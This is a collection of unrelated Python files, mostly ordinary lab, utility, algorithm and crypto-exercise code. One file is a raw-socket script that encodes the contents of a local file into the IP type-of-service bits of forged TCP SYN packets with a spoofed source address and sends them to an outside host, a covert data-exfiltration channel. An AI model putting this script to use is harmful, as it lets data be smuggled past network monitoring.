E1pump1 = 200/22.31 #at 100 pwm
E2pump1 = 200/22.31 #at 100 pwm
E12pump1Avg = (E1pump1+E2pump1)/2.
E3pump1 = 200/13.30 #at 125 pwm
E4pump1 = 200/13.30 #at 125 pwm
E34pump1Avg = (E3pump1+E4pump1)/2.
E5pump1 = 200/10.12 #at 150 pwm
E6pump1 = 200/10.12 #at 150 pwm
E56pump1Avg = (E5pump1+E6pump1)/2.
E7pump1 = 200/8.26 #at 175 pwm
E8pump1 = 200/8.26 #at 175 pwm
E78pump1Avg = (E7pump1+E8pump1)/2.
E9pump1 = 200/7.47 #at 200 pwm
E10pump1 = 200/7.47 #at 200 pwm
E910pump1Avg = (E9pump1+E10pump1)/2.
print "Pumping at 20C"
print "E12pump1Avg: %f, \nE34pump1Avg: %f, \nE56pump1Avg: %f, \nE78pump1Avg: %f, \nE910pump1Avg: %f" % (E12pump1Avg, E34pump1Avg, E56pump1Avg, E78pump1Avg, E910pump1Avg)
print ""
pump1PWMarray = [100, 125, 150, 175, 200]
pump1FlowArray = [E12pump1Avg, E34pump1Avg, E56pump1Avg, E78pump1Avg, E910pump1Avg]
plot(pump1FlowArray, pump1PWMarray, label='Original Data Points')
#best-fit process
pump1PWM = np.array([100, 125, 150, 175, 200])
pump1flow = np.array([E12pump1Avg, E34pump1Avg, E56pump1Avg, E78pump1Avg, E910pump1Avg])
pump1corr = np.polyfit(pump1flow, pump1PWM, 2)
finalCorr1 = np.poly1d(pump1corr)
#print finalCorr1(PWM)
#78.2 hot
#86.4 cold
x1 = np.arange(0, 30)
y1 = finalCorr1(x1)
plt.plot(x1, y1, label='Quadratic Best Fit')
xlabel("Flow Rate (mL/s)")
ylabel("PWM (bits)")
title("Hot Water Flow")
legend(loc="best")
showme()
clf()
#cold water, not usable
#E1pump0 = 250/ #at 100 pwm
#E2pump0 = 250/ #at 100 pwm
#E3pump0 = 250/22.75 #at 125 pwm
#E4pump0 = 250/23.10 #at 125 pwm
#E5pump0 = 250/16.80 #at 150 pwm
#E6pump0 = 250/16.42 #at 150 pwm
#E7pump0 = 250/13.46 #at 175 pwm
#E8pump0 = 250/13.33 #at 175 pwm
#E9pump0 = 250/11.56 #at 200 pwm
#E10pump0 = 250/11.57 #at 200 pwm
#hot water pump
#new calibration data
#E1pump0 = 200/33.57 #at 100 pwm
#E2pump0 = 200/33.57 #at 100 pwm
#E12pump0Avg = (E1pump0+E2pump0)/2
#E3pump0 = 200/16.54 #at 125 pwm
#E4pump0 = 200/16.54 #at 125 pwm
#E34pump0Avg = (E3pump0+E4pump0)/2
#E5pump0 = 200/14.05 #at 150 pwm
#E6pump0 = 200/14.05 #at 150 pwm
#E56pump0Avg = (E5pump0+E6pump0)/2
#E7pump0 = 200/12.98 #at 175 pwm
#E8pump0 = 200/12.98 #at 175 pwm
#E78pump0Avg = (E7pump0+E8pump0)/2
#E9pump0 = 200/12.39 #at 200 pwm
#E10pump0 = 200/12.39 #at 200 pwm
#E910pump0Avg = (E9pump0+E10pump0)/2
#old calibration data
E1pump0 = 250/60.90 #at 100 pwm
E2pump0 = 250/63.27 #at 100 pwm
E12pump0Avg = (E1pump0+E2pump0)/2
E3pump0 = 250/24.62 #at 125 pwm
E4pump0 = 250/25.88 #at 125 pwm
E34pump0Avg = (E3pump0+E4pump0)/2
E5pump0 = 250/16.50 #at 150 pwm
E6pump0 = 250/16.72 #at 150 pwm
E56pump0Avg = (E5pump0+E6pump0)/2
E7pump0 = 250/14.52 #at 175 pwm
E8pump0 = 250/14.49 #at 175 pwm
E78pump0Avg = (E7pump0+E8pump0)/2
E9pump0 = 250/12.92 #at 200 pwm
E10pump0 = 250/12.65 #at 200 pwm
E910pump0Avg = (E9pump0+E10pump0)/2
print "Pumping at 100C"
print "E12pump0Avg: %f, \nE34pump0Avg: %f, \nE56pump0Avg: %f, \nE78pump0Avg: %f, \nE910pump0Avg: %f" % (E12pump0Avg, E34pump0Avg, E56pump0Avg, E78pump0Avg, E910pump0Avg)
print ""
pump0PWMarray = [100, 125, 150, 175, 200]
pump0FlowArray = [E12pump0Avg, E34pump0Avg, E56pump0Avg, E78pump0Avg, E910pump0Avg]
plot(pump0FlowArray, pump0PWMarray, label='Original Data Points')
#best-fit process
pump0PWM = np.array([100, 125, 150, 175, 200])
pump0flow = np.array([E12pump0Avg, E34pump0Avg, E56pump0Avg, E78pump0Avg, E910pump0Avg])
pump0corr = np.polyfit(pump0flow, pump0PWM, 2)
finalCorr0 = np.poly1d(pump0corr)
x0 = np.arange(0, 30)
y0 = finalCorr0(x0)
plt.plot(x0, y0, label='Quadratic Best Fit')
xlabel("Flow Rate (mL/s)")
ylabel("PWM (bits)")
title("Cold Water Flow")
legend(loc="best")
showme()
clf()
##################
##Get the Photon##
##################
#b = lmp.motorPhoton("FeebleFennel") #Your Spark Name Here
b = lmp.motorPhoton("007")
##################################
#Data/Time Manipulation Functions#
##################################
#You probably want to bring in all the data/time manipulation functions
#that you used in labs 1 & 2
#ie rezero data. remove data before a given time etc
print "Time now = ", time.time(), "\n"
##getData() pulls the latest reading from your spark.
#print b.getData()
#getHistory pulls all of that day's history from your spark.
#data = b.getHistory('2016-11-09')
data = b.getHistory('2016-11-11')
time_start = 1478893676
time_end = 1478893922
#time_start = 1476902468.63 #10/19/16
#time_start = 1478731738.08 #11/9/16 bit before
#time_start = 1478731768.08 #11/9/16 whole experiment
#time_end = 1478731908.08
data = data[data['time']>time_start]
data = data[data['time']<time_end]
t = data['time'] - data['time'].iloc[0]
#########################################
##This is the voltage divider resistance#
#########################################
resistor = 1000. #Set your resistor value here
############################################################
##Pull the data or history - You can set this up in the same way as lab 1/2. #
############################################################
plot(data['d1'], label='PWM of Hot Water Pump', linewidth=1.3)
plot(data['d0'], label='PWM of Cold Water Pump', linewidth=1.3)
legend(loc="best")
xlabel("Time (s)")
ylabel("PWM")
title("PWM of Motors")
showme()
clf()
plot(libmae221.epcos6850(data['a0'],resistor), label='Cold Temperature', linewidth=1.5) #plot(libmae221.epcos6850(data['a1'],resistor), label='THot')
plot(libmae221.epcos6850(data['a1'],resistor), label='Hot Temperature', linewidth=1.5)
plot(libmae221.epcos6850(data['a2'],resistor), label='Syringe Temperature', linewidth=1.5)
#plot(data['a4'])
#plot(data['a5'])
legend(loc="upper left")
xlabel("Time (s)")
ylabel("Temperature (C)")
title("Three Measured Temperatures")
showme()
clf()
############################################
##Pulling the thermocouple temperature data#
############################################
# Note this only works if you have a thermistor connected to each port
# Comment out the unnecessary lines.
# cold
T0 = libmae221.epcos6850(b.getData()['a0'],resistor);
#T1 = libmae221.epcos6850(b.getData()['a1'],resistor)
# hot
T2 = libmae221.epcos6850(b.getData()['a2'],resistor);
# syringe
T3 = libmae221.epcos6850(b.getData()['a3'],resistor);
#T4 = libmae221.epcos6850(b.getData()['a4'],resistor)
#T5 = libmae221.epcos6850(b.getData()['a5'],resistor)
#plot(T0)
#plot(T1)
#plot(T2)
#plot(T3)
#plot(data['a4'])
#plot(data['a5'])
#xlabel("Time (s)")
#showme()
#clf()
#print "T0: %f, T1: %f, T2: %f, T3: %f" % (T0, T1, T2, T3)
print "\nT0: %f, T2: %f, T3: %f" % (T0, T2, T3)
###########################
##Turning on and off motor#
###########################
#(motor number 0,1 or 2, on: 1 or off: 0, PWM value: 0 - 25
#40C
targetTemp = 40.
coldTemp = 20.
hotTemp = 100.
ESyringeAvg = 8.8 #flow rate through syringe
hotFlow = (targetTemp*(ESyringeAvg) - coldTemp*(ESyringeAvg))/(hotTemp - coldTemp)
#hotFlow = (ESyringeAvg*coldTemp)/(hotTemp-2*targetTemp+coldTemp)
coldFlow = ESyringeAvg - hotFlow
hotPWM = finalCorr1(hotFlow)
coldPWM = finalCorr0(coldFlow)
print "\nhotFlow40C = ", hotFlow, "mL/s"
print "coldFlow40C = ", coldFlow, "mL/s"
print "hotPWM40C = ", hotPWM
print "coldPWM40C = ", coldPWM
#b.setMotor(0,1,hotFlow) #hot
#b.setMotor(1,1,coldFlow) #cold
#time.sleep(20)
#30C
targetTemp = 30.
hotFlow = (targetTemp*(ESyringeAvg) - coldTemp*(ESyringeAvg))/(hotTemp - coldTemp)
coldFlow = ESyringeAvg - hotFlow
hotPWM = finalCorr1(hotFlow)
coldPWM = finalCorr0(coldFlow)
print "\nhotFlow30C = ", hotFlow, "mL/s"
print "coldFlow30C = ", coldFlow, "mL/s"
print "hotPWM30C = ", hotPWM
print "coldPWM30C = ", coldPWM
#b.setMotor(0,1,hotFlow) #hot
#b.setMotor(1,1,coldFlow) #cold
#time.sleep(10)
#60C
targetTemp = 60.
hotFlow = (targetTemp*(ESyringeAvg) - coldTemp*(ESyringeAvg))/(hotTemp - coldTemp)
coldFlow = ESyringeAvg - hotFlow
hotPWM = finalCorr1(hotFlow)
coldPWM = finalCorr0(coldFlow)
print "\nhotFlow60C = ", hotFlow, "mL/s"
print "coldFlow60C = ", coldFlow, "mL/s"
print "hotPWM60C = ", hotPWM
print "coldPWM60C = ", coldPWM
#b.setMotor(0,1,hotFlow) #hot
#b.setMotor(1,1,coldFlow) #cold
#time.sleep(10)
#80C
targetTemp = 80.
hotFlow = (targetTemp*(ESyringeAvg) - coldTemp*(ESyringeAvg))/(hotTemp - coldTemp)
coldFlow = ESyringeAvg - hotFlow
hotPWM = finalCorr1(hotFlow)
coldPWM = finalCorr0(coldFlow)
print "\nhotFlow80C = ", hotFlow, "mL/s"
print "coldFlow80C = ", coldFlow, "mL/s"
print "hotPWM80C = ", hotPWM
print "coldPWM80C = ", coldPWM
#b.setMotor(0,1,hotFlow) #hot
#b.setMotor(1,1,coldFlow) #cold
#time.sleep(10)
#stop
#b.setMotor(0,0,hotFlow) #hot
#b.setMotor(1,0,coldFlow) #cold
want = time.mktime((2016,11,9,12+4,20,0,0,0,0))
close = abs(data['time']-want).argmin()
print data.iloc[close]
|
10,005 | 5a7a3a6d75346509b4a4a07b4d1535b0a6ed089e | # Generated by Django 2.2.12 on 2020-07-08 19:29
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('products', '0017_auto_20200709_0008'),
]
operations = [
migrations.RemoveField(
model_name='item',
name='size',
),
]
|
10,006 | ce2d69dd5e25088e2cd7828b872b20119b4c8c3f | from __future__ import absolute_import
import re
import json
import requests
from apis.base import BaseAPI, APIException
# Flickr API: https://www.flickr.com/services/api/
class FlickrPhotoAPI(BaseAPI):
url_format = "https://farm{farm}.staticflickr.com/{server}/{id}_{secret}_m.jpg"
per_page = 10
def __init__(self, user, max_imgs):
super(FlickrPhotoAPI, self).__init__(user, max_imgs)
self.window_cur = 0
self.get_api_key()
self.load()
def get_api_key(self):
r = requests.get("https://flickr.com/photos/")
if r.status_code == 200:
m = re.search(b'root.YUI_config.flickr.api.site_key = "(.+?)";', r.content)
if m:
self.api_key = m.group(1)
return
raise APIException("Can't get API key from flickr")
def load(self, page=1):
r = requests.get("https://api.flickr.com/services/rest", params={
"method": "flickr.photos.search" if self.user else "flickr.photos.getRecent",
"format": "json",
"user_id": self.user,
"api_key": self.api_key,
"per_page": self.per_page,
"page": page
})
self.page = page
if r.status_code != 200:
self.max_imgs = 0
raise StopIteration()
else:
content = r.content.replace(b"jsonFlickrApi(", b"").rstrip(b")")
self.json = json.loads(content)
if self.json['stat'] == 'ok':
self.total = int(self.json['photos']['total'])
self.items = self.json['photos']['photo']
self.window_cur = 0
else:
raise APIException(self.json['message'])
def __next__(self):
if self.cur >= self.max_imgs or self.cur >= self.total:
raise StopIteration()
if self.window_cur >= len(self.items):
self.load(self.page+1)
item = self.items[self.window_cur]
self.window_cur += 1
self.cur += 1
return self.url_format.format(**item) |
10,007 | 68949e4cb12e2432036501162040e83bd7070d7e | from typing import Dict, Sequence
import numpy as np
from pycocotools import mask as maskUtils
class MetricsInstanceSegmentaion:
@staticmethod
def convert_uncompressed_RLE_COCO_type(
element: Dict, height: int, width: int
) -> Dict:
"""
converts uncompressed RLE to COCO default type ( compressed RLE)
:param element: input in uncompressed Run Length Encoding (RLE - https://en.wikipedia.org/wiki/Run-length_encoding)
saved in map object example : {"size": [333, 500],"counts": [26454, 2, 651, 3, 13, 1]}
counts first element is how many bits are not the object, then how many bits are the object and so on
:param height: original image height in pixels
:param width: original image width in pixels
:return COCO default type ( compressed RLE)
"""
p = maskUtils.frPyObjects(element, height, width)
return p
@staticmethod
def convert_polygon_COCO_type(element: list, height: int, width: int) -> Dict:
"""
converts polygon to COCO default type ( compressed RLE)
:param element: polygon - array of X,Y coordinates saves as X.Y , example: [[486.34, 239.01, 477.88, 244.78]]
:param height: original image height in pixels
:param width: original image width in pixels
:return COCO default type ( compressed RLE)
"""
rles = maskUtils.frPyObjects(element, height, width)
p = maskUtils.merge(rles)
return p
@staticmethod
def convert_pixel_map_COCO_type(element: np.ndarray) -> Dict:
"""
converts pixel map (np.ndarray) to COCO default type ( compressed RLE)
:param element: pixel map in np.ndarray with same shape as original image ( 0= not the object, 1= object)
:return COCO default type ( compressed RLE)
"""
p = maskUtils.encode(np.asfortranarray(element).astype(np.uint8))
return p
@staticmethod
def convert_to_COCO_type(
input_list: Sequence[np.ndarray],
height: int,
width: int,
segmentation_type: str,
) -> Dict:
"""
converts all input list to COCO default type ( compressed RLE)
:param input_list: list of input in any COCO format
:param height: original image height in pixels
:param width: original image width in pixels
:param segmentation_type: input format - pixel_map , uncompressed_RLE , compressed_RLE , polygon , bbox
:return list of output in COCO default type ( compressed RLE)
"""
if segmentation_type == "uncompressed_RLE":
output_list = [
MetricsInstanceSegmentaion.convert_uncompressed_RLE_COCO_type(
element, height, width
)
for element in input_list
]
elif segmentation_type == "polygon":
output_list = [
MetricsInstanceSegmentaion.convert_polygon_COCO_type(
element, height, width
)
for element in input_list
]
elif segmentation_type == "pixel_map":
output_list = [
MetricsInstanceSegmentaion.convert_pixel_map_COCO_type(element)
for element in input_list
]
return output_list
@staticmethod
def iou_jaccard(
pred: Sequence[np.ndarray],
target: Sequence[np.ndarray],
segmentation_pred_type: str,
segmentation_target_type: str,
height: int,
width: int,
) -> np.ndarray:
"""
Compute iou (jaccard) score using pycocotools functions
:param pred: sample prediction inputs - list of segmentations supported by COCO
:param target: sample target inputs - list of segmentations supported by COCO
:param segmentation_pred_type: input pred format - pixel_map , uncompressed_RLE , compressed_RLE , polygon , bbox
:param segmentation_target_type: input target format - pixel_map , uncompressed_RLE ,polygon ( undergoes convertion to uncompressed_RLE ,see description above)
compressed_RLE , bbox - array in X.Y coordinates for example [445.56, 205.16, 54.44, 71.55] ,
:param height: height of the original image ( y axis)
:param width: width of the original image ( x axis)
:return matrix of iou computed between each element from pred and target
"""
# convert input format to supported in pycocotools
if segmentation_pred_type in ["pixel_map", "uncompressed_RLE", "polygon"]:
pred = MetricsInstanceSegmentaion.convert_to_COCO_type(
pred, height, width, segmentation_pred_type
)
if segmentation_target_type in ["pixel_map", "uncompressed_RLE", "polygon"]:
target = MetricsInstanceSegmentaion.convert_to_COCO_type(
target, height, width, segmentation_target_type
)
if segmentation_target_type == "uncompressed_RLE":
iscrowd = list(np.ones(len(target)))
else:
iscrowd = list(np.zeros(len(target)))
scores = maskUtils.iou(pred, target, iscrowd)
return scores
|
10,008 | 9859ea10d26a961d5af34c6fd64ccbef7b4eeb79 | from subprocess import Popen, PIPE
from collections import defaultdict
import time
import sys
import os
import re
fname = 'hehe' if len(sys.argv) == 1 else sys.argv[1]
fsize = os.path.getsize(fname)
repetitions = 11
cmds = [
['rampin', '-0q'],
['openssl', 'sha1'],
['C:/Program Files/Git/usr/bin/sha1sum.exe'],
['C:/Program Files/Haskell Platform/8.6.5/msys/usr/bin/sha1sum.exe'],
['C:/Program Files/Git/usr/bin/perl.exe', 'C:/Program Files/Git/usr/bin/core_perl/shasum'],
['busybox', 'sha1sum'],
['./mysha1sum.exe'],
['./native.exe'],
['python', 'sha1.py'],
]
print(f"{fname} is {fsize / 1024 ** 3:.03f} GiB")
times = defaultdict(list)
outs = []
for i in range(repetitions):
for c in cmds:
start = time.time()
job = Popen(c + [fname], errors='replace', stdin=PIPE, stdout=PIPE, stderr=PIPE, universal_newlines=True)
jobout, joberr = job.communicate()
elapsed = time.time() - start
if joberr:
print(joberr, file=sys.stderr)
outs.append(jobout)
what = ' '.join(c)
times[what].append(elapsed)
# this re.sub is doing what was in test.sh done by: sed 's:SHA1(\(.*\))= \(.*\):\2 *\1:;s: : *:'
outs = [re.sub(r'SHA1\((.*)\)= (.*)', r'\2 *\1', o.strip().replace(' ', ' *')) for o in outs if o.strip()]
outs = list(set(outs))
if len(outs) == 1:
print(f"All hashes match: {outs[0]}")
else:
print("HASHES DON'T MATCH!")
print("\n".join(outs))
times = sorted(times.items(), key=lambda x: sum(x[1]))
#for what, elapsed in times:
# print(what, sorted(elapsed))
times = [(f"{(repetitions * fsize) / (sum(elapsed) * 1024.0 ** 2):9.03f} MiB/s", what) for what, elapsed in times]
for speed, what in times:
print(f"{speed} - {what}")
|
10,009 | 032dfe078bb3f203105df802516b4e66ec80d4d9 | n=int(input())
num=list(map(int,input().split()))
count=0
for i in range(0,n):
minj=i
a=0
for j in range(i+1,n):
if num[minj]>num[j]:
minj=j
if minj!=i:
count+=1
a=num[minj]
num[minj]=num[i]
num[i]=a
print(' '.join(list(map(str,num))))
print(count)
|
10,010 | 4bba1ae59920b8f16b83167fbeedd40a6e172fbf | '''
本题要求先序遍历树的元素并保存入一个数组,尽量采用迭代的方法解决。
因此可以维护一个treeStack列表用于当做节点栈。先将根节点放入栈中。
在循环中,先将栈顶元素弹出并放入result数组中,然后依次压入右孩子、左孩子。
本题时间复杂度为O(n),运行时间36ms,击败98.84%用户。
'''
class Solution:
def preorderTraversal(self, root):
"""
:type root: TreeNode
:rtype: List[int]
"""
treeStack , result = [] , []
if root : treeStack.append(root)
while treeStack:
root = treeStack.pop()
result.append(root.val)
if root.right: treeStack.append(root.right)
if root.left: treeStack.append(root.left)
return result
|
10,011 | 283fc3c26a0d800dd02a978ac01e1f4b2caa01c6 | #http://www.binarytides.com/raw-socket-programming-in-python-linux/
import socket, sys
from struct import *
qos_list = []
with open("f.txt", "rb") as f:
byte = f.read(1)
while byte:
qos_list.append((ord(byte) & 192)>>6)
qos_list.append((ord(byte) & 48)>>4)
qos_list.append((ord(byte) & 12)>>2)
qos_list.append((ord(byte) & 3))
byte = f.read(1)
f.close()
#f = open('o.txt', 'wb')
#for b in range(0, len(qos_list), 4):
# byte = qos_list[b]<<6 | qos_list[b+1]<<4 | qos_list[b+2]<<2 | qos_list[b+3]
# f.write(chr(byte))
#f.close()
try:
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RAW)
except socket.error , msg:
print 'Socket could not be created. Error Code: ' + str(msg[0]) + ' Messgae: ' + msg[1]
sys.exit()
packet = ''
ip_src = '192.168.0.5'
ip_dst = '8.8.8.8'
ip_ihl = 5
ip_ver = 4
#ip_tos = 24
ip_len = 0
ip_id = 54321
ip_df = 32768
ip_ttl = 255
ip_prot = socket.IPPROTO_TCP
ip_check = 0
ip_src_addr = socket.inet_aton(ip_src)
ip_dst_addr = socket.inet_aton(ip_dst)
ip_ihl_ver = (ip_ver <<4 ) + ip_ihl
tcp_src = 40000
tcp_dst = 53
tcp_seq = 1
tcp_ack_seq = 0
tcp_doff = 5
tcp_fin = 0
tcp_syn = 1
tcp_rst = 0
tcp_psh = 0
tcp_ack = 0
tcp_urg = 0
tcp_window = socket.htons(5840)
tcp_check =0
tcp_urg_ptr = 0
tcp_offset_res = (tcp_doff << 4) +0
tcp_flags = tcp_fin + (tcp_syn <<1) + (tcp_rst <<2) + (tcp_psh<<3) + (tcp_ack<<4) + (tcp_urg<<5)
tcp_header = pack('!HHLLBBHHH', tcp_src, tcp_dst, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
data = 'I\'m going to steel your data'
for t in qos_list:
ip_id += 1
ip_tos = (t+1)*32
ip_header = pack('!BBHHHBBH4s4s',ip_ihl_ver,ip_tos,ip_len,ip_id,ip_df,ip_ttl,ip_prot,ip_check,ip_src_addr,ip_dst_addr)
packet = ip_header + tcp_header + data
s.sendto(packet,('8.8.8.8',6))
|
10,012 | b6df800f1cf5d3ce15387472cf3a5c94ca55cd80 | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2017 Romain Boman
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
winrar = '"C:\\Program Files (x86)\\WinRAR\\rar.exe"'
import os, os.path, sys, shutil
print("starting backup-script in", os.getcwd())
# --- some funcs ----------------
def mkDir(dirname):
try:
os.mkdir(dirname)
except:
#print dirname, "already exists!"
pass
def chDir(dirname):
os.chdir(dirname)
print("in", os.getcwd())
def copyfiles(dirtxt, path, files=None):
cwdir = os.getcwd()
try:
mkDir(dirtxt)
chDir(dirtxt)
if os.path.isdir(path):
if files:
for f in files:
print("\tcopying", f)
shutil.copy(os.path.join(path,f), f)
else:
for f in os.listdir(path):
print(f)
if os.path.isfile(os.path.join(path,f)):
print("\tcopying", os.path.join(path, f))
shutil.copy(os.path.join(path, f), f)
elif os.path.isfile(path):
print("\tcopying", path)
shutil.copy(path, os.path.basename(path))
else:
raise '%s doesn\'t exist' % path
chDir('..')
except:
os.chdir(cwdir)
print("unable to copy files from '%s' to '%s'" % (path,dirtxt))
def rarOneFile(dirtxt, fullfile):
cwdir = os.getcwd()
try:
global winrar
mkDir(dirtxt)
chDir(dirtxt)
rep = os.getcwd()
path, file = os.path.dirname(fullfile), os.path.basename(fullfile)
chDir(path)
if os.path.exists(fullfile):
dest = os.path.join(rep,file)+'.rar'
cmd = '"'+winrar+' a -idc "'+dest+'" "'+file+'""' # -ep=exclude path
try: os.remove(dest)
except: pass
print(cmd)
os.system(cmd)
else:
raise '%s is missing!' % fullfile
chDir(rep)
chDir('..')
except:
os.chdir(cwdir)
print("unable to rar '%s' to '%s'" % (fullfile,dirtxt))
if __name__ == "__main__":
mkDir("backup")
chDir("backup")
#copyfiles("apache", r"C:\Program Files (x86)\wamp\Apache2\conf")
rarOneFile("emule", r'C:\Users\Boman\AppData\Local\eMule\config\ipfilter.dat')
#rarOneFile("favoris", r'E:\Boman\Favoris')
copyfiles("flashfxp", r'C:\Program Files (x86)\FlashFXP\Sites.dat')
copyfiles("ServU", r'C:\Program Files (x86)\Serv-U', ('ServUAdmin.ini', 'ServUDaemon.ini') )
copyfiles("subversion", r'C:\Users\Boman\AppData\Roaming\Subversion\config')
copyfiles("windows", r'C:\WINDOWS\system32\drivers\etc\hosts')
copyfiles("winedt", r'C:\Program Files (x86)\WinEdt Team\WinEdt\Dict\User.dic')
# environement : a faire
if 0:
for k in os.environ:
print(k, '= "%s"' % os.environ[k])
# putty
# sql
print("[PRESS A KEY]")
input()
sys.exit()
|
10,013 | 01a37eff8692b173b56cc21186ab30cf850a5833 | import dataprocessing
import numpy as np
if __name__=='__main__':
dp = dataprocessing.DataPlotter()
# losses = []
# val_accuracies = []
# train_losses=[]
# for num_samples in [200,100,50]:
# losses.append(np.load("/home/jasper/oneshot-gestures/output/data-17-retrain-1-samples-{}/train_loss.npy".format(num_samples)))
# losses.append(np.load("/home/jasper/oneshot-gestures/output/data-17-retrain-1-samples-{}/val_loss.npy".format(num_samples)))
# val_accuracies.append(np.load("/home/jasper/oneshot-gestures/output/data-17-retrain-1-samples-{}/val_acc.npy".format(num_samples)))
path = "/home/jasper/oneshot-gestures/output/"
losses = np.empty((3,5),dtype=object)
val_accuracies = np.empty((3,5),dtype=object)
class_accuracies = np.empty((3,5),dtype=object)
# num_class = 15
# j=0
# for num_layers in [2,3]:
# i=0
# for num_samples in [200,100,50,25,10]:
# losses[j][i]=np.load("{}data-{}-retrain-{}-samples-{}/val_loss.npy".format(path,num_class,num_layers,num_samples))
# val_accuracies[j][i]=np.load("{}data-{}-retrain-{}-samples-{}/val_acc.npy".format(path, num_class, num_layers, num_samples))
# class_accuracies[j][i]=np.load("{}data-{}-retrain-{}-samples-{}/class_acc.npy".format(path, num_class, num_layers, num_samples))
# i+=1
# j+=1
#
# for i in range(len(class_accuracies[0])):
# print(len(class_accuracies[0][i]))
# dp.plotCompare((class_accuracies[0][i],class_accuracies[1][i]))
num_class = 15
"""
10 -> 500
25 -> 400
50 -> 300
100 -> 100
"""
data = []
for retrain_layers in [2,3]:
for num_samples in [1,25,200]:
data.append(np.load("{}data-{}-retrain-{}-samples-{}/class_acc.npy".format(path, num_class, retrain_layers, num_samples)))
dp.plotCompare(data)
#dp.plotAccLoss(val_loss,val_acc) |
10,014 | 8dd0fe5f90f30babbd17201a432573deaf075ee5 |
# a = input()
# a = ['ab','ca','bc','ab','ca','bc','de','de','de','de','de','de']
# check values front to next, if cond == True, change num['word'] from i to i+1
# check all len(comp)
# print(minimum)
length = 2
s = 'abcabcabcabcdededededede'
s_split = [words for words in s]
print(s_split)
cnt = []
for j in range(1, len(s)//2):
a = []
for i in range(0, len(s), j):
b = s_split[i]+s_split[i+1]
a.append(b)
cnt.append(a)
print(cnt)
# # devide sentence for length = 2
# ans = []
# for i in range(len(sentence)):
# i
# A = 'hihi'
# B = 'babe'
# C = 2*A+3*B
# print(C)
|
10,015 | 06dc7790c9206822c66d72f4185f16c0127e377d | # Задача-1:
# Дан список фруктов.
# Напишите программу, выводящую фрукты в виде нумерованного списка,
# выровненного по правой стороне.
# Пример:
# Дано: ["яблоко", "банан", "киви", "арбуз"]
# Вывод:
# 1. яблоко
# 2. банан
# 3. киви
# 4. арбуз
# Подсказка: воспользоваться методом .format()
fruits_list = ['Абрикос', 'Персик', "Слива", "Груша", "Арбуз", "Дыня"]
for fruit_index, fruit_name in enumerate(fruits_list, start=1):
print(fruit_index, "{:>7}".format(fruit_name))
# Задача-2:
# Даны два произвольные списка.
# Удалите из первого списка элементы, присутствующие во втором списке.
list1 = ['dog', 7, 'apple', 444, 3.45]
list2 = ['dog', 444, 3.45]
print(list1)
print(list2)
for val in list2:
if val in list1:
list1.remove(val)
print(list1)
print(list2)
# Задача-3:
# Дан произвольный список из целых чисел.
# Получите НОВЫЙ список из элементов исходного, выполнив следующие условия:
# если элемент кратен двум, то разделить его на 4, если не кратен, то умножить на два.
first_list = [2, 12, 3, 15, 44, 73]
new_list = []
val = len(first_list)
for i in range(val):
if first_list[i] % 2 == 0:
new_list.append(first_list[i] / 4)
else:
new_list.append(first_list[i] * 2)
print(new_list)
|
10,016 | 6872594152bae4130326f68e417411ba0d9109c0 | #!/usr/bin/python
import base64
from Crypto.Cipher import AES
import Crypto.Util.Counter
def aes_ecb_encrypt(byte_array):
aes = AES.new(key, AES.MODE_ECB)
return aes.encrypt(byte_array)
####################################
def xor_bytes(byte_arr1, byte_arr2):
xored_arr = ''
for b in range(0, len(byte_arr1)):
xored_arr+=chr(ord(byte_arr1[b])^ord(byte_arr2[b]))
return xored_arr
########################
def encr_ctr(num):
num+=1
hex_num = hex(num)[2:].zfill(16)[::-1]
return hex_num
#########################
def ctr_decrypt(ciphertext):
ctr = -1
deciphr = ""
num_blks = len(ciphertext)/blk_sz
if len(ciphertext)%blk_sz != 0:
num_blks+=1
for i in range(0, num_blks-1):
inter_encr_blk = aes_ecb_encrypt(nonce.decode("hex") + "0000000000000000".decode("hex"))
deciphr+=xor_bytes(inter_encr_blk, ciphertext[i*blk_sz:i*blk_sz+blk_sz])
ctr+=1
#decrypt the remaining bytes
tmp = encr_ctr(ctr).decode("hex")
inter_encr_blk = aes_ecb_encrypt(nonce.decode("hex") + "0000000000000000".decode("hex"))
remain_lngth = 0
if len(ciphertext)%blk_sz != 0:
remain_lngth = len(ciphertext)%blk_sz
else:
remain_lngth = blk_sz
deciphr+=xor_bytes(inter_encr_blk[0:remain_lngth], ciphertext[(num_blks-1)*blk_sz:(num_blks-1)*blk_sz + remain_lngth])
return deciphr
#############################
def ctr_encrypt(plain):
return ctr_decrypt(plain)
#################################
def crack_xor(encr_txt, crck_key):
xored_arr = ''
key_byte_pos = 0
for b in range(0, len(encr_txt)):
xored_arr+=chr(ord(encr_txt[b])^ord(crck_key[key_byte_pos]))
key_byte_pos += 1
if key_byte_pos == 16:
key_byte_pos = 0
return xored_arr
key = "YELLOW SUBMARINE"
nonce= "0000000000000000"
blk_sz = AES.block_size
fl = open('base_64.txt', 'r')
test_txt = "AAAAAAAAAAAAAAAA"
encr = ctr_encrypt(test_txt)
guess_key = xor_bytes(test_txt, encr)
for ln in fl:
decoded_64 = base64.b64decode(ln.strip())
encr = ctr_encrypt(decoded_64)
print crack_xor(encr, guess_key)
|
10,017 | f6f664c79b1bc762aeb26c8a6e324423a90e5e8d | #Ejercicio 7
#Escribí un porgrama que lea un archivo e identifique la palabra más larga, la cual debe imprimir y decir cuantos caracteres tiene. |
10,018 | b9d85735ed86e8585967293dd9735ab69cc23576 | # from bw_processing.loading import load_bytes
# from bw_processing import create_package
# from io import BytesIO
# from pathlib import Path
# import json
# import numpy as np
# import tempfile
# def test_load_package_in_directory():
# with tempfile.TemporaryDirectory() as td:
# td = Path(td)
# resources = [
# {
# "name": "first-resource",
# "path": "some-array.npy",
# "matrix": "technosphere",
# "data": [
# tuple(list(range(11)) + [False, False]),
# tuple(list(range(12, 23)) + [True, True]),
# ],
# }
# ]
# with tempfile.TemporaryDirectory() as td:
# fp = create_package(
# name="test-package", resources=resources, path=td, replace=False
# )
# # Test data in fp
# def test_load_json():
